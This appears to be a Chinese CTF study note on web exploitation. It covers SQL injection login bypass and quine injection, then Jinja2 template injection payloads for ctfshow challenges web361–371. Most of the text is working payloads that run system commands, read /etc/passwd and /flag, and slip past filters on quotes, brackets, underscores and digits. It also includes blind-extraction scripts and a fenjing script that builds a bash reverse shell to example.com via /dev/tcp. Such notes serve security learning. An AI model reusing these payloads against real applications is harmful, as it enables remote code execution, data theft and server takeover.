union虚拟表

[GXYCTF 2019]BabySqli

payload0' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

就是union select 会加一行虚拟表 内容是0,'admin','e10adc3949ba59abbe56e057f20f883e'正好密码123456的md5值是这个 从而绕过了密码验证

quine注入 unique注入

[NISACTF 2022]hardsql

解释:实质上就是返回的值和输入值相同,对于这种输出自己的源代码的程序有一个名称,Qunie

首先先了解一下replace()函数

replace(object,search,replace)

把object对象中出现的的search全部替换成replace,然后返回替换后的结果

object里面编码不会被替换

即:

REPLACE(**"REPLACE("B",char(66),"B")"**,char(66),"REPLACE("B",char(66),"B")")

黑体处的char(66)不会被替换,B会被替换

mysql> select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| .                         |
+---------------------------+


mysql> select REPLACE('REPLACE("B",char(66),"B")',char(66),'REPLACE("B",char(66),"B")');
+---------------------------------------------------------------------------+
| REPLACE('REPLACE("B",char(66),"B")',char(66),'REPLACE("B",char(66),"B")') |
+---------------------------------------------------------------------------+
| REPLACE("REPLACE("B",char(66),"B")",char(66),"REPLACE("B",char(66),"B")") |
+---------------------------------------------------------------------------+

看出输入和输出结果差单引号和双引号

我们可以先用依次replace让双引号替换为单引号

S为:REPLACE( REPLACE('A',CHAR(34),CHAR(39) ),B的编码,'A')
A为:REPLACE( REPLACE("B",CHAR(34),CHAR(39) ),B的编码,"B")

//char(34)是双引号 char(39)是单引号 char(66)是B

S:replace('A',char(66),'A') //A为原字符串
A:replace("B",char(66),"B")

这里A中的间隔符使用双引号的原因是,A已经被单引号包裹,为避免引入新的转义符号,间隔符需要使用双引号。
//把A替换掉

replace('replace("B",char(66),"B")',char(66),'replace("B",char(66),"B")')
//执行
+---------------------------------------------------------------------------+
| replace('replace("B",char(66),"B")',char(66),'replace("B",char(66),"B")') |
+---------------------------------------------------------------------------+
| replace("replace("B",char(66),"B")",char(66),"replace("B",char(66),"B")") |
+---------------------------------------------------------------------------+
//单换成双
replace("replace("B",char(66),"B")",char(66),"replace("B",char(66),"B")")
//执行错误

//
replace('replace(replace("B",char(66),"B"),char(34),char(39)',char(66),'replace(replace("B",char(66),"B"),char(34),char(39))')
//结果
+-----------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace('replace(replace("B",char(66),"B"),char(34),char(39)',char(66),'replace(replace("B",char(66),"B"),char(34),char(39))')                           |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace("replace(replace("B",char(66),"B"),char(34),char(39))",char(66),"replace(replace("B",char(66),"B"),char(34),char(39))"),char(34),char(39)) |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------+
//不行
//分别单换双
S为:replace(replace('A',char(34),char(39)),char(66),'A')
A为:replace(replace("B",char(34),char(39)),char(66),"B")
//组合
replace(replace('replace(replace("B",char(34),char(39)),char(66),"B")',char(34),char(39)),char(66),'replace(replace("B",char(34),char(39)),char(66),"B")')
//结果
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace("B",char(34),char(39)),char(66),"B")',char(34),char(39)),char(66),'replace(replace("B",char(34),char(39)),char(66),"B")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace("B",char(34),char(39)),char(66),"B")',char(34),char(39)),char(66),'replace(replace("B",char(34),char(39)),char(66),"B")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+

//构造
S为'/**/union/**/select/**/replace(replace('A',char(34),char(39)),char(66),'A')#
A为"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#

//playload
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'1"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')#

1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

char被过滤的话还可以用十六机制或者chr()函数

char(34) --> 0x22
char(39) --> 0x27

char(34) --> chr(34)

ssti jinja2

可以利用的类或者函数

config

查看配置信息

env

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('env').read()}}
可能有非预期

popen

popen()用于执行系统命令,返回一个文件地址,需要用read()来显示文件的内容

subprocess.popen

与popen略有不同
{{"".__class__.__base__.__subclasses__()[485]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

__import__中的os

{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}

__builtins__代码执行

{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

request

jinja2中存在对象request

{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}

url_for

{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

get_flashed_messages

{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

lipsum

lipsum是一个方法,可以直接调用os方法,也可以使用__buildins__

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

os._wrap_close

web361

?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

builtins

web362

  • 多个1相加/?name={{().__class__.__mro__[1].__subclasses__()[1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1].__init__.__globals__["popen"]("cat /flag").read()}}

  • 利用(dict(a=b,c=d)|join|count)构造出2,然后66*2=132即可

/?name={% set e=(dict(b=c,c=d)|join|count)%}{{().__class__.__mro__[1].__subclasses__()[e*66].__init__.__globals__["popen"]("cat /flag").read()}}

# 也可以用([a,b]|count)构造出2
/?name={% set e=([a,b]|count)%}{{().__class__.__mro__[1].__subclasses__()[e*66].__init__.__globals__["popen"]("cat /flag").read()}}
  • url_for?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

  • ?name={{x.__init__.__globals__['__builtins__']}}
    这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了

  • {% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

过滤

过滤单双引号

web363

  • request绕过?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

  • 字符串拼接 ?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}—>?name={{url_for.__globals__['os']}}

  • chr ?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}

  • 过滤器 (()|select|string)[24]

  • 利用config拿到字符串

# popen
/?name={{config.__str__()[17]%2bconfig.__str__()[2]%2bconfig.__str__()[17]%2bconfig.__str__()[43]%2bconfig.__str__()[3]}}

/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[config.__str__()[17]%2bconfig.__str__()[2]%2bconfig.__str__()[17]%2bconfig.__str__()[43]%2bconfig.__str__()[3]](request.args.b).read()}}&b=cat /flag

过滤单双引号和args

web364

使用cookies

/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}}
或者
{{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:
a=popen;b=cat /flag;

过滤单双引号和args和[]

web365

  • .
/?name={{x.__init__.__globals__.__builtins__.eval(request.cookies.a)}}
Cookie:
a=__import__('os').popen('cat /flag').read()
  • getitem
/?name={{x.__init__.__globals__.__getitem__(request.cookies.b).eval(request.cookies.a)}}
Cookie:
a=__import__('os').popen('cat /flag').read();b=__builtins__;
  • request.values
/?name={{x.__init__.__globals__.__getitem__(request.values.b).eval(request.values.a)}}&b=__builtins__&a=__import__('os').popen('tac /flag').read()

过滤单双引号和args和[]和_

web366

lipsumattr过滤器

{{().__class__}}–>{{()|attr("__class__")}}

/?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

/?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

web367

同上,多过滤了一个os,用request即可

过滤{{}}

web368

  • 使用{%%}print

/?name={%print((x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5))%}&x1=__init__&x2=__globals__&x3=__getitem__&x4=__builtins__&x5=__import__('os').popen('cat /flag').read()

或者盲注

import requests
import urllib
import time

url = 'http://36f667b8-3e4a-4639-ba96-cff20a8e3c86.challenge.ctf.show/'
alp = 'abcdefghijklmnopqrstuvwxyz0123456789-}{'

flag = ''
for i in range(1,100):
for j in alp:
# time.sleep(0.1)
payload = "{% set flag = (x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5)%}{% if flag == request.values.x6%}evo1ution{%endif%}"
params = {
'name': payload,
'x1': '__init__',
'x2': '__globals__',
'x3': '__getitem__',
'x4': '__builtins__',
'x5': "__import__('os').popen('cat /flag').read({})".format(i),
'x6': "{}".format(flag+j)
}

response = requests.get(url,params=params)
if 'evo1ution' in response.text:
flag += j
print(flag)
if j == '}':
exit()
break

# ctfshow{8ff9262c-1994-4916-abaf-e24871b2d07a}

过滤request

web369

  • 字符拼接

我们要得到{%print((lipsum|attr('__globals__')).get('os').popen('cat /flag').read())%}

import requests
import urllib
import time
import re

url = 'http://478231cf-6cd6-4958-84fd-f3de3b022397.challenge.ctf.show/'
# target = "__globals__" # (config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
# target = "os" # (config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()
target = "cat /flag" # (config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()

flag = ''
for i in target:
for j in range(917):
# time.sleep(0.1)
payload = "{{%print((config|string|list).pop({}).lower())%}}".format(j)
params = {
'name': payload,
}
response = requests.get(url,params=params)
s = re.findall(r'<h3>(.*)</h3>',response.text)[0]
# print(j,"==>",s)
if i == s:
flag += "(config|string|list).pop({}).lower()~".format(j)
# print(flag)
break
print(flag[:-1])

运行脚本后得到字符构造payload

/?name={%print((lipsum|attr(((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))).get(((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())).popen(((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%}

另一种方法

/?name={%print(config|string|list|lower)%}先执行这个获取字符
放入列表l中

import requests
import urllib
import time
import re

# target = "__globals__" # (config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
# target = "os" # (config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()
target = "cat /flag" # (config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()
l =

flag = ''
for i in target:
for j in range(len(l)):
if i == l[j]:
flag += "(config|string|list).pop({}).lower()~".format(j)
# print(flag)
break
print(flag[:-1])
  • 替换字符

join

?name={%set a=(config|string|list).pop(74)%}{%set globals=(a,a,dict(globals=1)|join,a,a)|join%}{%set init=(a,a,dict(init=1)|join,a,a)|join%}{%set builtins=(a,a,dict(builtins=1)|join,a,a)|join%}{%set a=(lipsum|attr(globals)).get(builtins)%}{%set chr=a.chr%}{%print(a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read())%}

原理

{%set a=(config|string|list).pop(74)%}  获得 _

{%set globals=(a,a,dict(globals=1)|join,a,a)|join%} 获得__globals__

{%set init=(a,a,dict(init=1)|join,a,a)|join%} 获得__init__

{%set builtins=(a,a,dict(builtins=1)|join,a,a)|join%} 获得__builtins__

{%set a=(lipsum|attr(globals)).get(builtins)%} 获得lipsum.__globals__['__builtins__']

{%set chr=a.chr%} 获得chr

{%print(a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read())%}
获得lipsum.__globals__['__builtins__'].open('/flag').read()

过滤数字

(数字的过滤可以拿全角数字来代替半角数字)

还是join

/?name={%set nummm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set x=(()|select|string|list).pop(num)%}{%set o=dict(o=a,s=b)|join%}{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}{%set builtins=(x,x,dict(builtins=a)|join,x,x)|join%}{%set c=dict(chr=a)|join%}{%set chr=((lipsum|attr(glob)).get(builtins)).get(c)%}{%set cmd=chr(numm)~dict(flag=a)|join%}{%set cmd=dict(cat=a)|join~chr(nummm)~chr(numm)~dict(flag=a)|join%}{%print((lipsum|attr(glob)).get(o).popen(cmd).read())%}

如下 count 可以用 length代替

{%set nummm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #32
{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #47
{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #24
{%set x=(()|select|string|list).pop(num)%} 获得_
{%set o=dict(o=a,s=b)|join%} 获得os
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %} 获得__globals__
{%set builtins=(x,x,dict(builtins=a)|join,x,x)|join%} 获得__builtins__
{%set c=dict(chr=a)|join%} 获得字符串chr
{%set chr=((lipsum|attr(glob)).get(builtins)).get(c)%} 获得chr
{%set cmd=chr(numm)~dict(flag=a)|join%} 获得/flag
{%set cmd=dict(cat=a)|join~chr(nummm)~chr(numm)~dict(flag=a)|join%} 获得cat /flag
{%print((lipsum|attr(glob)).get(o).popen(cmd).read())%}

fenjing

web370 371

Python库

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)

print(f"{shell_payload=}")
print(f"{config_payload=}")

总结

fenjing…

python -m fenjing webui

python3 -m fenjing scan -u "https://ctf.sora.zip/decode/" --tamper-cmd 'base64'

可以编码 之前误会他了

脚本小子

tornado ssti

语法 用途 描述
{{ ... }} 执行Python语句 里面直接写Python语句即可,没有经过特殊的转换。默认输出会经过HTML编码
{% ... %} 特殊内置语法 有多种规则,如下表所示
`` 注释 -
{% comment ... %} 注释 -
{% apply *function* %}...{% end %} 执行函数 function是函数名。applyend之间的内容是函数的参数
{% autoescape *function* %} 设置编码方式 用于设置当前模板文件的编码方式
{% block *name* %}...{% end %} 引用模板段 配合extends使用
{% extends *filename* %} 引入模板文件 配合block使用
`